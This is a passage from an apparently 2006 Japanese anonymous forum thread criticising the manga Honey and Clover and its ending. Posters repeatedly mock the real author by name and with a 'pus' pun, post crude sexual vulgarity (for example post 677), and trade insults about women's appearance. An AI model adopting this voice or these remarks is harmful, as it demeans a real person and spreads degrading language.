　　　　　　(9_∂　　　　　　　　ウミノは声をあげて泣いた。バーチャルな遊びが最期は現実の彼女の未来に重くのしかかってきた・・・
637 名前：花と名無しさん mailto:sage [2006/11/14(火) 16:20:31 ID:???O]: 何この発酵スレ。
2ちゃんでいったんアンチにとりつかれると未来永劫執着し続けられるようだな。
638 名前：花と名無しさん mailto:sage [2006/11/14(火) 16:26:37 ID:???0]: >>637
>>622
639 名前：花と名無しさん mailto:sage [2006/11/14(火) 16:55:45 ID:???O]: 何か･･･本人来てないか？コレ
640 名前：花と名無しさん mailto:sage [2006/11/14(火) 17:14:33 ID:???O]: >>622
アンチスレや映画スレに出張する信者はけっこういたけどね…
他人に対する先入観には多かれ少なかれ自分の性質が反映されるという典型
641 名前：花と名無しさん [2006/11/14(火) 18:26:18 ID:DAC3yiVeO]: >>640が>>622のどこにかかるレスなのかわからない……
642 名前：花と名無しさん mailto:sage [2006/11/14(火) 19:26:11 ID:???O]: 出張先で迷惑をかける信者は多いが
本スレに出張してきて暴れるアンチなんかほぼいない

「全て粘着アンチのせいなのよ！」という
現状完全無視の被害妄想を繰り広げる基地外の多くは
自身にそういう性質が少なからずあるから、
特に根拠もないのに他人をそういう目で見てしまうのでしょうね

という意味だよ
分かりにくかったかな？ごめんね
643 名前：花と名無しさん mailto:sage [2006/11/14(火) 20:26:00 ID:???O]: これで意思の疎通がはかれてると思っているなら>>640=642は日本語を勉強し直したほうがいいとｵﾓ
644 名前：花と名無しさん mailto:sage [2006/11/14(火) 21:25:50 ID:???O]: どうやったら意思の疎通がはかれるのか>>643の意見をどうぞ！！↓
645 名前：花と名無しさん mailto:sage [2006/11/14(火) 22:10:31 ID:???0]: >>643
普通に読めば分かるけど・・・
646 名前：花と名無しさん mailto:sage [2006/11/14(火) 22:14:57 ID:???0]: >643
自分がまともに文章を読めないだけなのに
それすら自覚できず相手のせいにするのか、信者は
647 名前：花と名無しさん mailto:sage [2006/11/14(火) 23:00:20 ID:???0]: 儲じゃなくてもここ最近のやたら長文の割りに中身の無い書き込みは訳分からないよ。
とりあえず3行にまとめる練習したらいいとオモ。

まあ、ハチクロ読んだ事も無い煽り絡み厨が住み着いてるだけかもしんないしw
648 名前：花と名無しさん [2006/11/15(水) 00:06:52 ID:My8M4cImO]: 読んだことないに決まってるよねそういうカキコする奴って絶対暇なだけww

てゆうか長文とか意味以前に読むのめんどいし
マンセー意見でも短い文で済ませる奴のが賢いよぶっちゃけ
この漫画が好きなわけでもないのに関係ない長い文章カキコしないでほしい
空気読んでもうちょっと上手く煽れよアンチww
649 名前：花と名無しさん mailto:sage [2006/11/15(水) 01:12:14 ID:???0]: 言葉尻の揚げ足取りだらけだな、ここ…
650 名前：花と名無しさん mailto:sage [2006/11/15(水) 01:43:35 ID:???O]: >>648がハチクロの良かった所を
アンチに納得させるよう短くまとめて書いて下さいます！どうぞ！！！↓
651 名前：花と名無しさん mailto:sage [2006/11/15(水) 02:37:21 ID:???0]: >>650
あ？（ﾟДﾟ≡ﾟДﾟ）え？ｵｲﾗでもいい？

ウミノさんが満足しました。
652 名前：花と名無しさん mailto:sage [2006/11/15(水) 02:51:37 ID:???O]: …つまりウミノたんのリハビリとして成功したということですか？
それともウミノたんが納得できる終わり方をしたということですか？
653 名前：花と名無しさん mailto:sage [2006/11/15(水) 03:33:35 ID:???0]: 使用済ﾈﾀｻﾙﾍﾞｰｼﾞ完了！萌金ｺﾈ補完ｼﾏｽﾀ！！

人類( ﾟдﾟ)ﾎﾟｶｰﾝ計画。
654 名前：花と名無しさん mailto:sage [2006/11/15(水) 09:31:58 ID:???0]: ウミノさんははぐみたいな子になりたいんだろうけど
もしここ一生懸命見てるとしたら
はぐみたいな子にはなれないとは思う
655 名前：花と名無しさん mailto:sage [2006/11/15(水) 09:54:56 ID:???O]: >>616を見て溜飲がおりたスガオタが通りますよ（　´_ゝ`）
656 名前：花と名無しさん mailto:sage [2006/11/15(水) 14:52:17 ID:???O]: >>623
理科にツッコミ役がいなくて一方的にちやほやされてるの見て微妙な気分になったな…
657 名前：花と名無しさん mailto:sage [2006/11/15(水) 16:23:51 ID:???0]: で、ヘンなウミノクマボックスって何個売れたん？
658 名前：花と名無しさん mailto:sage [2006/11/15(水) 19:47:41 ID:???0]: 1000000000000000000000000000000000000000個
659 名前：花と名無しさん mailto:sage [2006/11/15(水) 22:58:08 ID:???0]: 久々に本屋に行ったらウミノが推薦帯を描いてる本があった。
どちらもウミノクマで、本当に自分大好きだな…帯作家ウミノ乙と思いながら見た。
1冊目のDMCは真山のセリフを改変したコピーで笑えるけど
2冊目の監督不行届は…モヨコとの交友関係の温度にもよるんだろうけど
シャレになってないんじゃ？ウミノってモヨコもしくは監督と仲良かった？
660 名前：花と名無しさん mailto:sage [2006/11/16(木) 01:48:32 ID:???O]: 風呂敷広げ過ぎたんだよ結局。
同人誌描いてて漫画を描くことは出来るけど、
ある程度先まで見渡さないといけない長期連載のノウハウも得ないでやったのに、あっちのカップルこっちのカップルと食い散らかすようなことするから…
661 名前：花と名無しさん mailto:sage [2006/11/16(木) 11:49:45 ID:???0]: うわ！久しぶりにきたけど未だにアンチがたむろしてるのか！
キモイやつらだな～～～
あんなほのぼのしたマンガいつまでも叩いてるの素でわからない
よっぽど私生活不幸なんだろうな
662 名前：花と名無しさん mailto:sage [2006/11/16(木) 12:01:55 ID:???0]: 信者にキモイいわれてもなにもくやしくないのはなぜ
663 名前：花と名無しさん mailto:sage [2006/11/16(木) 13:02:03 ID:???O]: 漫画の内容の良い所を説明する努力をしない(前に、長文読む気しにゃ～い☆って言ってた信者は救いようが無いけどw)
で、どうしたら良いのか分からず悔しいのでアンチを叩くしか脳がないヤツらだからですよww

本当にハチクロが好きなら
アンチなんて無視してハチクロ本題について語ってれば良いのに
664 名前：花と名無しさん mailto:sage [2006/11/16(木) 13:41:35 ID:???0]: 単に長文ってだけでなく駄文の長文だから読む気がしないって
レスだったと思うけど。
665 名前：花と名無しさん mailto:sage [2006/11/16(木) 14:01:00 ID:???O]: 信者の長文も駄文ばかりな件
666 名前：花と名無しさん mailto:sage [2006/11/16(木) 14:11:56 ID:???0]: 何か600前後から本人かと思いたくなるような書き込み増えたな

人格を攻撃するのは良くないよ！といいながら
住人に対する攻撃的な言葉を吐くことを忘れない

漫画の話をしなさいよ！といいながら自身も
「漫画の話をしない人に対する説教」に夢中で漫画の話を忘れてしまう
667 名前：花と名無しさん mailto:sage [2006/11/16(木) 15:46:54 ID:???0]: 今更スピノフなんて逃げだよねえ。
本編やるのツラくなったから、同人的にラクなサイドストーリーに逃げた。
でもさー本編がぐだぐだな作品なんて同人人気だってついてこないよ
668 名前：花と名無しさん mailto:sage [2006/11/16(木) 16:10:52 ID:???0]: 32 ：花と名無しさん：2006/08/17(木) 09:18:05 ID:???0
作品本スレのアンチ化って事自体が
その作品への素直な評価なんだろうな
669 名前：花と名無しさん [2006/11/16(木) 17:02:11 ID:NhcA8V13O]: >>656それは自分も思ってた事
理花の事は最後まで好きになれなかったな
ちょっと掘り下げ不足というか納得いかない部分
かと言って山田が好きなわけでそう言ってるんじゃないんだがね(むしろ山田は苦手だった)
670 名前：花と名無しさん mailto:sage [2006/11/16(木) 17:20:00 ID:???0]: 今１０巻を読み終わったんだけど、すごい作者叩かれてるなこのスレで。

先生がいきなり欲望むき出しにしたりはぐの怪我が最終回でいきなり治ってたり
終盤にえっ？と思う展開はあったが、おれはそれなりに楽しめたけどなぁ。

なんかアンチの方やけに同人って単語使ってるけど、この人元同人作家なのか。
ここまで激しく叩いてるのは同じ同人やってる人間がこれだけ売れた作品に嫉妬してるとか
そういう風に見えちゃうんだけど(´・ω・｀)
まあインタビューだの読んだ事ないし、サラっとスレを流し読みした感想なんですけどね。
671 名前：花と名無しさん mailto:sage [2006/11/16(木) 17:29:32 ID:???0]: >>670
>先生がいきなり欲望むき出しにしたりはぐの怪我が最終回でいきなり治ってたり
>終盤にえっ？と思う展開はあったが、おれはそれなりに楽しめたけどなぁ。

そこをサラっと読み流せたのなら別にそれでいいんじゃね？
なんか初心者儲を装ってアンチを海野に嫉みを持った同人仲間に限定する為のカキ…ｹﾞﾌﾝｹﾞﾌﾝ(`･ω･´)
672 名前：花と名無しさん mailto:sage [2006/11/16(木) 17:36:21 ID:???O]: 自分の周りで山田が大人気なんだが全く魅力が分かりません
誰かおしえてくれ
673 名前：花と名無しさん mailto:sage [2006/11/16(木) 18:41:42 ID:???O]: >>656
でも山田はやけにツッコミされてたなぁ。
臭が説教した時はやりすぎだと思った。
674 名前：花と名無しさん mailto:sage [2006/11/16(木) 18:58:41 ID:???O]: >>670そんなら過去のインタビューだのを読むことをお勧めするよ。
675 名前：花と名無しさん mailto:sage [2006/11/16(木) 19:08:51 ID:???O]: >>637ごめんそれどういうシーンだっけ？
コミックス友達から借りてただけだから記憶が曖昧
676 名前：花と名無しさん mailto:sage [2006/11/16(木) 19:29:28 ID:???O]: >>667これで本編でも嫌われまくってたチリ毛眼鏡メインのスピノフだったりした日にはスレ大荒れ必至だなw
677 名前：花と名無しさん mailto:sage [2006/11/17(金) 00:10:44 ID:???0]: >>672
美人の痴態を見せ品質規格外の女の妬みをやわらげる。
厨オタ特有の処女は恐くないマンコという思いこみを逆手に取りチンコ読者獲得。
>>673
対山田ツッコメンを各所に配置。読者の批難を察知するとただちにツッコミ又は説教。ダメージ緩和を計る。
真の目的はウミノ批難直撃の回避。効果のほどは不明。
678 名前：花と名無しさん [2006/11/17(金) 00:13:20 ID:LY05lWPoO]: 675だけどアンカミスorz

>637 ×
>>673 ○

見てたらﾖﾛｼｺ
679 名前：花と名無しさん mailto:sage [2006/11/17(金) 00:24:45 ID:???0]: >>656
はぐもそうだな

才能・女・ケガが免罪符というか
無敵の印籠になる世界観だな
680 名前：花と名無しさん mailto:sage [2006/11/17(金) 01:22:00 ID:???0]: >>673
修が山田に説教したのは山田がまだ子供だから
リカに説教しないのはリカが大人だから
山田の恋愛中毒とリカの過去では重みがちがいすぎるから
比べてもしかたあるまい・・・・・・・・・
681 名前：花と名無しさん mailto:sage [2006/11/17(金) 03:15:09 ID:???0]: >>679
それだ！弱者の権利を利用する根性が見えるんだ。
無敵の印籠の部分で押し切るから反感を買う。
あえて身体的マイナス要因を課す他の漫画家と弱さの捉え方が違うんだね。
682 名前：花と名無しさん mailto:sage [2006/11/17(金) 03:16:22 ID:???O]: リカが大人ならますますあの甘ったれを誰かが叩かないと駄目だろ普通
683 名前：花と名無しさん mailto:sage [2006/11/17(金) 03:21:00 ID:???O]: >>670
嫉妬叩き乙
知らん癖に決めんなよ
684 名前：花と名無しさん mailto:sage [2006/11/17(金) 03:29:36 ID:???0]: りかさんて甘たれなの？
自分だって心も身体もボロボロなのに旦那さんの残した仕事投げ出さずにやってたよ。
周囲の男性がほっておけないフェロモンの持ち主だったみたいだけど自分で出来る限り
のことはやってたように見えた。
685 名前：花と名無しさん mailto:sage [2006/11/17(金) 09:08:57 ID:???O]: ｳﾐﾉ臭がする
686 名前：花と名無しさん mailto:sage [2006/11/17(金) 12:06:31 ID:???O]: いつまでも死んだ旦那との思い出を引きずって健気に生きるあたしを見てみて……

はぁ…うざっ
687 名前：花と名無しさん mailto:sage [2006/11/17(金) 15:03:11 ID:???0]: >>686
なに漫画のキャラにキレてんのこいつ。

絶対こいつのがウザそう（；＾ω＾）
688 名前：花と名無しさん mailto:sage [2006/11/17(金) 15:04:51 ID:???0]: >>686
なに漫画のキャラにキレてんのこいつ。

絶対こいつのがウザそう（；＾ω＾）
689 名前：花と名無しさん mailto:sage [2006/11/17(金) 15:45:37 ID:???O]: >>686
音無響子さんですか？
しかし、この漫画に五代君は居ない…
690 名前：イトミミズ mailto:sage [2006/11/17(金) 17:19:12 ID:???0]: ボーイズラブが好きなバカマンカスのかいた
オナニードリームがすきなひともいるさ
691 名前：イトミミズ mailto:sage [2006/11/17(金) 17:20:11 ID:???0]: 私が嫌いなのはウミノというより
はぐかもしれない。だがはぐは作者のシャドーキャラなのだろうから
ウミノも嫌いである。
692 名前：花と名無しさん mailto:sage [2006/11/17(金) 17:38:36 ID:???0]: はぐみたいに身体の小さい女の子っていつまでも周りが子供扱いするから
本人も子供っぽく振舞うこと多いよね。
んでもって大学生になっても中学生と間違われたりすることがあるのを
嘆いてみせながら本当は喜んでいたりする。

そうゆうオクテで安全パイだと思っていた女の子にいきなり彼氏ができた
りすると周りにいた女の子達って必ず相手をロリコンよばわりしてモテない
自分を慰めるんだよねｗ
修はぐを受け入れられない嘆きを聞いてると同じ要素を感じる。
693 名前：花と名無しさん mailto:sage [2006/11/17(金) 18:03:40 ID:???0]: >>692
m9（＾Д＾）ﾌﾟｷﾞｬｰｰｰｯ

おまえ友達いないだろwwwwww
694 名前：花と名無しさん [2006/11/17(金) 19:04:18 ID:LY05lWPoO]: >>687=>>693
695 名前：花と名無しさん [2006/11/17(金) 19:12:05 ID:16N/MQhMO]: >>687=>>693=膿野
696 名前：花と名無しさん mailto:sage [2006/11/17(金) 19:16:19 ID:???0]: >>692
兄貴や父親の立場の人間にハァハァする心理がわからない。
上四列の文章はあなた自身の事？子供っぽく振舞うとか。みんなそうだと思ってるの？
若く見られて喜ぶのは普通サイズの人にもあるんじゃない？
中学生に見られて喜ぶというのはそういうことでしょう？
身体の小さい女の子は他人に舐められる事も多いから、しっかり者やきつい性格になりやすいと思う。
オクテで低身長の子に彼氏が出来ると相手をロリコンよばわりする環境にいるの？
知り合いにいるの？それとも自分のこと？
697 名前：花と名無しさん mailto:sage [2006/11/17(金) 19:37:24 ID:???0]: >>684
リカの内面の葛藤や克服しようとする意思をしっかり見せてくれたら、甘ったれと思わなかったかな？
自分ならどうするだろうと想像もしただろうし、素直に共感出来たかも。
（リアリティの無い）旦那の死、（程度のわかり難い）怪我、（曖昧な）親との確執、
全部、無敵の印籠（>>679）を手に入れるためのネタ振りだもの。
薄っぺらな不幸をちらつかせて同情を引こうとするあざとさが目について醒めた目で見てしまう。
698 名前：花と名無しさん mailto:sage [2006/11/17(金) 19:42:05 ID:???0]: 血のつながりは無くても兄貴や父親がわりの人とどうこうって
毛嫌いする圧倒的に女の方が多いよな
その気持ちは理屈を超えたキモさ

ゴリラの男女だって幼少時代一緒に育っちゃうと大人になっても
お互いそういう対象に見れない事が多いらしいのに
699 名前：花と名無しさん mailto:sage [2006/11/17(金) 19:42:19 ID:???0]: >>694-695
どうレスを読んだら>>687=>>693=膿野になるんだ？
>692=ウミノなら分かるけど
700 名前：花と名無しさん mailto:sage [2006/11/17(金) 19:59:55 ID:???O]: >>699冗談通じてますか？
701 名前：花と名無しさん mailto:sage [2006/11/17(金) 20:58:12 ID:???0]: 中学生に見られて喜ぶってありえるか？大学生以上で。
色気がない、垢抜けないって意味じゃん。
702 名前：花と名無しさん mailto:sage [2006/11/17(金) 22:11:25 ID:???O]: ↑そんな嫌味な意味で使うか？
童顔で可愛い子っていう意味で褒め言葉で使うのはよく聞く

しかしはぐには共感出来なかった…むしろ出来た奴っているのかな？
山田の方がまだ親近感持てるし可愛いってんで人気というのは聞いた事あるなぁ

自分は二人共いまいち好きになれなかったけど
703 名前：花と名無しさん mailto:sage [2006/11/17(金) 22:58:08 ID:???0]: 中学生みたい～って言われてうれしくなんかないよ。
普通に可愛いっていうならいいけど。
しかも１８以上でそういう風に言われて喜んだところで、
所詮リアル中学生からみたらババアでしかない。
704 名前：花と名無しさん mailto:sage [2006/11/17(金) 23:05:34 ID:???0]: つか、単純に
若く見られてうれしい、って言いたかっただけなんだろ。
中学生は行きすぎだけど。
705 名前：花と名無しさん mailto:sage [2006/11/17(金) 23:25:20 ID:???0]: あのなかではぐが一番経験ある　性的に
706 名前：花と名無しさん mailto:sage [2006/11/18(土) 02:43:01 ID:???0]: 関係ないけど大学生なのに中学生と間違われた過去のあるような女性って
大人になってもちゃんと化粧しない人多くない？
化粧しなくても自分は若く見えるっていう自信のあらわれなんだろうけど
20代も後半になればただの貧相なｵﾊﾞｻﾝにしか見えてないことに気づいて
ないような…
707 名前：花と名無しさん mailto:sage [2006/11/18(土) 02:53:44 ID:???0]: しかも化粧してない分紫外線モロ浴びで30過ぎた頃には逆に同年代の女性より
シミシワが目立ち老けてるような…

いや、まったくスレ違いだﾈ…
708 名前：花と名無しさん mailto:sage [2006/11/18(土) 02:53:46 ID:???0]: ヤリマンかそうでないかで分類すべきかも
709 名前：花と名無しさん mailto:sage [2006/11/18(土) 06:20:03 ID:???O]: 女の童顔の同性への嫉妬って恐いんだね
710 名前：花と名無しさん mailto:sage [2006/11/18(土) 07:26:26 ID:???0]: 嫉妬というか、実体験なんじゃね？
711 名前：花と名無しさん mailto:sage [2006/11/18(土) 10:30:04 ID:???0]: 小奇麗に化粧してて大学生っぽいお洒落してれば
中学生に見られるってのはありえないよな
712 名前：花と名無しさん mailto:sage [2006/11/18(土) 10:52:11 ID:???0]: >>707
それは違う。童顔は老けが早く見える。
老け顔の人は逆にあまり年をとらない。

童顔はパーツが子供っぽいため、肌の老化が逆に目立つから。

若作りの為に、大人が10代のような格好すると逆に老けて見えるのと一緒。
713 名前：花と名無しさん mailto:sage [2006/11/18(土) 11:27:54 ID:???O]: >>709
ロリ乙
714 名前：花と名無しさん mailto:sage [2006/11/18(土) 12:48:40 ID:???O]: 童顔の人に対して悪意がにじんだ書き方になるのは
若く見えた方が得だという価値観にとらわれてるような
715 名前：花と名無しさん mailto:sage [2006/11/18(土) 13:30:40 ID:???O]: 女はみんな実年齢より若く見られたいもんなんじゃないの？歳とればとるほど・・・
716 名前：花と名無しさん mailto:sage [2006/11/18(土) 14:47:10 ID:???0]: 悪意っつううかいくつになっても小中学生に
間違えられるなんて純粋に嬉しくない人間が多いと思う
若く見られりゃ何歳でもいい訳じゃないだろー
717 名前：花と名無しさん mailto:sage [2006/11/18(土) 15:23:39 ID:???0]: それだけちやほやされて得してるからじゃん
むかつかれるのは
718 名前：花と名無しさん mailto:sage [2006/11/18(土) 16:34:51 ID:???0]: 若くみられるのは女性にとっていくつになってもいいことだけど
子供っぽくみられて得することがあるのは十代までだなー。
あとは損することのほうが多いとおもう。
719 名前：花と名無しさん mailto:sage [2006/11/18(土) 19:53:26 ID:???0]: >>706->>707
すんごい分かるそれ。
自分の中に自分は若く見れるっていう妙なな自信が
あるからか、シワができてもなお、それを見ずに
「私って子供っぽいし～」とか平気で口にしちゃう感じ。
現実はセルフイメージと肌年齢が２０代で大きく離れてくる

はぐはそういうタイプじゃなくて単に幼い外見て感じだけど
720 名前：花と名無しさん mailto:sage [2006/11/18(土) 23:07:32 ID:???0]: 能力を持つものと持たないものの描写が何とも切なくていい。
最後はかなり雰囲気が変わって重くなるけど、悪くは無い。
ここの住人の書き込みは相変わらず酷い。吐き気がする。
721 名前：花と名無しさん mailto:sage [2006/11/18(土) 23:37:58 ID:???0]: >>720
またいつもの人ー
もうラスト持ち上げ→スレ住人叩きのコンボは
お腹いっぱい（ﾟ⊿ﾟ）
722 名前：花と名無しさん mailto:sage [2006/11/19(日) 00:53:48 ID:???0]: 流れをまとめると・・・

どんなに歳を取っても周りに幼く振舞っておけば
嫌われないと思っている人が描いた自己マンセー漫画

幼稚な自分を美化
パパのお膝に帰る話
でおｋ？
723 名前：花と名無しさん mailto:sage [2006/11/19(日) 02:44:29 ID:???0]: そういえばウミノさんのブログみるとやけに幼児帰りしてしまったような
文章が多いね。
よくアイドルタレントの女の子なんかが売れない頃はしっかりとした
受け答えしてるのに売れだすと子供っぽく振る舞いだしたり不思議ちゃん
系の発言をしだしたりするのと同じ感じかな？
周囲にちやほやされてるときは何をやっても許されるからね。
そういえば同人作家も売れて大手になると子供っぽく振舞いだす人おおいかも。
子供っぽく振舞っても可愛くない人が大多数なのが難点だけど･････
724 名前：花と名無しさん mailto:sage [2006/11/19(日) 02:49:23 ID:???O]: >>723
同人にお詳しいようで…羨ましい限りです＾＾
725 名前：花と名無しさん mailto:sage [2006/11/19(日) 03:54:22 ID:???O]: 40であのあほの子口調はいただけない
726 名前：花と名無しさん mailto:sage [2006/11/19(日) 23:04:16 ID:???O]: はぐになりたかったんだろうね先生は
いくら作者でも森田と竹本に愛されななれないよ
時をかける少女じゃないけどさ
727 名前：花と名無しさん mailto:sage [2006/11/20(月) 01:09:19 ID:???0]: たしかにコミケの大手によくいるね
売れてきたとたんなぜか幼稚な言動する作家さん
728 名前：花と名無しさん [2006/11/20(月) 01:35:08 ID:xtmr6Vzk0]: ウミノさん、稼いだよなぁ。
729 名前：花と名無しさん mailto:sage [2006/11/20(月) 05:38:18 ID:???0]: まだまだ神輿に乗ってもらわないと
730 名前：花と名無しさん mailto:sage [2006/11/20(月) 08:29:53 ID:???0]: ㌧切りですが
ジャンプ今週号に載ってたハチクロアニメＤＶＤ発売情報のイラスト…
先生の、頬染めつつのナイスな割り込みっぷりに吹いたｗいい年してなにやってんだｗ

h ttp://moshimo.mine.nu/upload2/src/mo2m0029.jpg　(ページ全体図)
h ttp://moshimo.mine.nu/upload2/src/mo2m0028.jpg　(イラスト部分アップ)

今となっては懐かしい、
当スレ「その49」の>>817～>>834あたりの流れ↓が思い起こされる...

　　817 名前：花と名無しさん 2006/07/22(土) 21:47:41 ID:???0

　　　　www.jbook.co.jp/member/img/product/02974/M02974220-01.jpg

　　　　上は臭が「はぐー、ﾊｧﾊｧ」と入り込んでくる空間か…。

　　818 名前：花と名無しさん 2006/07/22(土) 21:49:49 ID:???0
　　　　>>817
　　　　なんかさ、この後ろの芝生よく見るとうっすらと顔が・・・

　　820 名前：花と名無しさん 2006/07/22(土) 21:51:04 ID:???0
　　　　>>818
　　　　ねぇよｗｗｗ
731 名前：花と名無しさん [2006/11/21(火) 09:12:03 ID:XJjxn3Tm0]: このはぐって虐待でもされたのかと思った
身体じゅうにアザが・・・
732 名前：花と名無しさん mailto:sage [2006/11/21(火) 18:49:06 ID:???0]: ウミノさん、稼いだよなぁ。
　　　　　　　とついだのかとおもったｗｗｗｗｗｗｗｗｗｗ
ギャハｗｗｗｗｗｗｗｗｗｗｗ
733 名前：花と名無しさん mailto:sage [2006/11/21(火) 21:21:35 ID:???0]: 稼頭男ってのいたよな。
734 名前：花と名無しさん mailto:sage [2006/11/22(水) 06:08:46 ID:???0]: 今読み終わった。

はぐが結果的に不幸を餌にして男を釣った形になった事とか、
自分の人生の（利益）の為に借宿のように男を使う
（そして男はそれを喜んで受け入れる）姿勢がイマイチ釈然としなかった。
というか、なんかまだ胸がざゎ…ざゎ…としてる…

もし怪我が治ったらはぐは先生捨てて森田の所行きそう
（＆先生もそれをまた受け入れそう）な空気なのもアレだし。

ん～、でもこのざわざわ感とか酸っぱさとか理不尽さもひっくるめて
青春なのかなぁとも思ったり。
ここの人達が批判してるのは、それを「青春で片づけるな、甘ったれるなｳﾞｫｹ」
って事なのかな？
735 名前：花と名無しさん mailto:sage [2006/11/22(水) 11:47:34 ID:???0]: それって出来てないということなのだよね。
中途半端で気持ち悪くてそれがイイってんなら
どんな下手で半端な作品も
オナニーも吐き捨てた唾も、「雰囲気」で許容されでしまうでしょ
そんなお芸術だから、マニアだから何でもアリだよねオチは、
ウミノさんだって本来の目指すところじゃないだろうに。
736 名前：花と名無しさん mailto:sage [2006/11/22(水) 12:56:26 ID:???0]: >>735
同感だなー
ケガしてリハビリ中だったらとりあえず修に加護してもらう
のはアリとしてもまったく伏線なしにいきなり恋愛関係に
もっていって人生のパートナー的な関係にしてしまったのは
愚考としか言いようが無いと思う。
それではぐが強い女とかいわれてもただの打算的で普通の女としか
思えない。
描くために修の人生をもらうのは別に修が良ければいいと思うけど
これだとその代償にはぐが女を売ったみたいなキモチ悪さを感じる。
ハチクロもはぐも大好きだったのになぁ･････････最後で台無しだよ。
こんなてきとうな最後になるとは心底ガッカリした。
最後につじつまあわせみたいにいろんなエピソードを出してきたのも
作品を悪くしたと思う。
737 名前：花と名無しさん mailto:sage [2006/11/22(水) 15:47:21 ID:???O]: 自分もさっき１０巻を読み終えたんだけど、すべてに禿同。
いつ恋愛関係になったのかよくわからないし、
他のメンバーはそれなりに変化して成長したのに、がっくりだ。
真山×リカをあれだけ引っ張って描いてたのに
何でこんないい加減なんだ。
738 名前：花と名無しさん mailto:sage [2006/11/22(水) 17:37:20 ID:???0]: 羽海野さんは、自分は手塚治虫じゃなくて藤子不二夫的でありたいと言ってたよね。

でもアレじゃ、収拾がつかなくなったのを手塚治虫風にオトナげに誤魔化そうとして
そのセコイ手の内が見え透いちゃってる作風、に過ぎないよ。
感動したって言える人は、作者が「こう誤魔化されて欲しいな～」と思ったとおりに
誤魔化されてるだけの、作者に都合のいい読者と思う。
739 名前：花と名無しさん mailto:sage [2006/11/22(水) 18:36:20 ID:???0]: ドキュメントや自叙伝じゃないんだから、創作作品ってのは映画も小説も漫画も全て
「こう誤魔化されて欲しい」「こう感じて欲しい」「こう読んで欲しい」「こう感動して欲しい」
ってのが究極だし本来的だと思う。

>>736
その分析や認識はﾊｹﾞﾄﾞｳ。
でも>>734じゃないが、その不条理や汚さも人生ｼﾞｬﾈ？とも思う。
ﾘｱﾙ女や人生なんてもっと酷いし。
ハチクロを青春ファンタジーという人もいるが、ラストに来て
やや現実寄りになった印象を受ける。
そこが、これまで青春ファンタジーを期待してた人にとっては、
急に無理矢理現実に立ち戻らされた感も相俟って受け入れがたくなってるのかとも思う。
急激だったしね。
740 名前：花と名無しさん mailto:sage [2006/11/22(水) 20:15:49 ID:???O]: キャラがドロドロな辺りは現実で
女の一方的なチヤホヤはファンタジーなカオス
741 名前：花と名無しさん mailto:sage [2006/11/22(水) 23:33:44 ID:???0]: ＞究極だし本来的だと思う
それが下手で見え透いてたら、その作品は下等なもんだよ。
で、ハチクロは見え透いてたんだよ。

例えて言えば、ただ意表をつきたくてどんでん返しを繰り返し
なんとかこじつけたドラマの結末に
おめでたいファンが親切に「こうこうこういうメッセージだったんだ」と
過大評価してくれてるような。
そんなのはもう慈善チャリティであって、作品がよかったことにはならん。
742 名前：花と名無しさん mailto:sage [2006/11/22(水) 23:51:32 ID:???0]: ドロドロね・・・人間関係を全部嫉妬と才能、確執と離別の話にしてしまうのは普通じゃない。
世界に自分と敵、親と娘しかいないみたい。あとはあまりにも記号で単純でリアリティの無い人物たち。
743 名前：花と名無しさん mailto:sage [2006/11/23(木) 00:48:05 ID:???0]: >>741
作品にも色んな種類があるからなぁ。
メッセージ性が強い（それありきの）作品もあれば、
お話の結果何となく特定の印象を抱くという作品もある。
どっちが高等・下等って話じゃない気が。

>>742
ハチクロは美大とか天才をめぐる～って話だからある程度
嫉妬と才能の話になるのは仕方ないんじゃない？
というか、それを描かなかったらただ普通の男女が恋愛して
結ばれて終わる普通の少女漫画じゃん。

それに人間関係が全部嫉妬と才能話だったってわけでもないでしょ。
真っ直ぐな恋愛もあり、利己的な打算もあり、自己陶酔もあり、
自己批判と自己発見もあり、尊敬もあり、愛着もあり、独占欲もあり、
後悔もあり、再スタートｗもありで普通に色々あったかと。
大学モノだから最後は卒業・就職でお別れってのも特に異常じゃないし。
744 名前：花と名無しさん mailto:sage [2006/11/23(木) 01:22:10 ID:???0]: ＞741、743
そんな言うほど駄作ではなかった(傑作でもないが)と思うが
期待が大きすぎ、また、売れすぎたのではないだろうか

それだけ前半部分はすばらしかったんだろうし
それも海野の一部であることに違いはない
だが、ラストがどうにも納得いかないつくりなことは
どうかばってみても、大抵の人のうなずくところじゃないかなあ

前半良かったことがラストのグダグダをいっそう引き立てて、
前半ハチクロ大好きだった人たちの心を打ち砕いたんだろう
745 名前：花と名無しさん mailto:sage [2006/11/23(木) 02:28:43 ID:???0]: 色んな見方があるとは思うけど、はぐが最終的にどんな成長をするのかと
竹本がどんな自分を見つけ卒業してゆくのかを楽しみに読んでいた私には
あまり納得の行くラストじゃなかった。
竹本が見つけたのは何もない自分。
竹本は竹本で色々良いところを持っていたのに終始自己否定で終わってしまった
気がする。
はぐはペットショップの小鳥みたいに「相性悪くないからつがいにしましょう」
的にあっというまに修とくっつけられて終わってしまった。

正直リカの過去や山田の恋愛にあまり興味のなかった私としては次ははぐ
がくるだろうと心待ちにしていたのにポイと投げ捨てられたみたいな終わり
方で残念だった。

森田兄弟のエピソードはそれなりに感動した部分もあるけど正直他のマンガで
やってほしかった。
個人的に森田にはあまり弱い部分を見せないでほしかった。
746 名前：花と名無しさん mailto:sage [2006/11/23(木) 02:53:31 ID:???0]: >>734
自分もイライラした。釈然としなかったから。
ハチクロは年齢不詳の人物大杉。はぐもりかもキモイ。
オジサンになっても学生気分の臭もキモイ。
森田父や根岸も自意識過剰な厨房じゃん。オジサンの分別ないし学習能力ゼロ。

金持ち音大生の話で自分とあんまり関係ないのに
のだめを読むと自分もがんばらなきゃって思う。
楽器やらないけどね・・・何かに打ち込んでも無駄じゃないって思える。
上手く説明できないけどハチクロは学生を馬鹿にしてる気がする。
747 名前：花と名無しさん mailto:sage [2006/11/23(木) 09:34:26 ID:???0]: もう今読み終わったんだけどで始まるネタレスはいいよ。

おれも６７０で使ったけど(´・ω・｀)
748 名前：花と名無しさん mailto:sage [2006/11/23(木) 09:37:26 ID:???0]: >>743
下手であれば、下等ですよ。
749 名前：花と名無しさん mailto:sage [2006/11/23(木) 12:48:38 ID:???0]: >>744
同意。
まぁ、天才の生き様や恋愛模様は確かに特殊だろうし、
誰もが共感できる普遍的人生・恋愛とは異なるモノが
出てくるのは分かるけど、あと２巻ぶんぐらいかけて
丁寧にやって欲しかった。
山田の恋愛ぐらいにね。

>>746
ハチクロはど真ん中学生の成長話というよりは、
大人になりきれてない大人達の話とか、そいつらが
真っ直ぐな学生（や才能）に当てられて戻ってくる話みたいな
感じかねぇ。

はぐや竹本じゃなくて、その他の大人視点で
読んでたらひょっとしたら違う印象持ったかも。
